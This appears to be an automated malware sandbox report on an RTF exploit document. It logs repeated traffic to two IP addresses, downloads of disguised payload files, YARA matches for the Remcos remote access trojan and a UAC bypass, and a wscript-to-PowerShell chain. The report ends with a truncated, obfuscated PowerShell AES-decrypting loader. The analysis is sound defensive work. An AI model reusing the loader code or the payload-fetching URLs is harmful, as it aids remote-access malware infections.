Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 192.3.176.174:80
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.3.176.174:80 -> 192.168.2.22:49163

Source: creatednewwaterbottleforme[1].gif.2.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: creatednewwaterbottleforme[1].gif.2.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
Source: creatednewwaterbottleform.vBS.2.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: creatednewwaterbottleform.vBS.2.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4

Source: global traffic	HTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /60/WDER.txt HTTP/1.1Host: 192.3.176.174Connection: Keep-Alive

Source: Joe Sandbox View

IP Address: 198.46.176.133 198.46.176.133

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

Source: global traffic

HTTP traffic detected: GET /60/creatednewwaterbottleforme.gIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.174Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.176.174

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0ED1B18E-7F3E-4B54-BB44-3A68DE73D740}.tmp

Source: global traffic	HTTP traffic detected: GET /60/creatednewwaterbottleforme.gIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.174Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /60/WDER.txt HTTP/1.1Host: 192.3.176.174Connection: Keep-Alive

Source: powershell.exe, 00000006.00000002.374537224.0000000009261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.174
Source: powershell.exe, 00000006.00000002.374537224.0000000009261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.174/60/WDER.txt
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.353856869.0000000000950000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.353856869.00000000008FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.174/60/creatednewwaterbottleforme.gIF
Source: EQNEDT32.EXE, 00000002.00000002.353856869.0000000000950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.174/60/creatednewwaterbottleforme.gIFC:
Source: EQNEDT32.EXE, 00000002.00000002.353856869.00000000008FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.174/60/creatednewwaterbottleforme.gIFN
Source: EQNEDT32.EXE, 00000002.00000002.353856869.00000000008FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.174/60/creatednewwaterbottleforme.gIFZ
Source: EQNEDT32.EXE, 00000002.00000002.353856869.00000000008FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.174/60/creatednewwaterbottleforme.gIFj
Source: powershell.exe, 00000006.00000002.369896642.00000000023BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.176.133
Source: powershell.exe, 00000006.00000002.369896642.00000000023BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.176.133/Upload/vbs.jpeg
Source: powershell.exe, 00000006.00000002.369992455.0000000003820000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 00000006.00000002.369992455.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.369896642.0000000002281000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.369992455.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.369992455.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.369992455.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.369992455.00000000032A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 6.2.powershell.exe.3c87e48.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.3c87e48.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.369992455.0000000003820000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3208, type: MEMORYSTR

System Summary

Source: IFqsFpijFt.rtf, type: SAMPLE	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 6.2.powershell.exe.3c87e48.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 6.2.powershell.exe.3c87e48.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 6.2.powershell.exe.3c87e48.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 6.2.powershell.exe.3c87e48.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 6.2.powershell.exe.3c87e48.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000006.00000002.369992455.0000000003820000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 3208, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: powershell.exe PID: 3208, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Very long command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 3116
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 3116			Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = 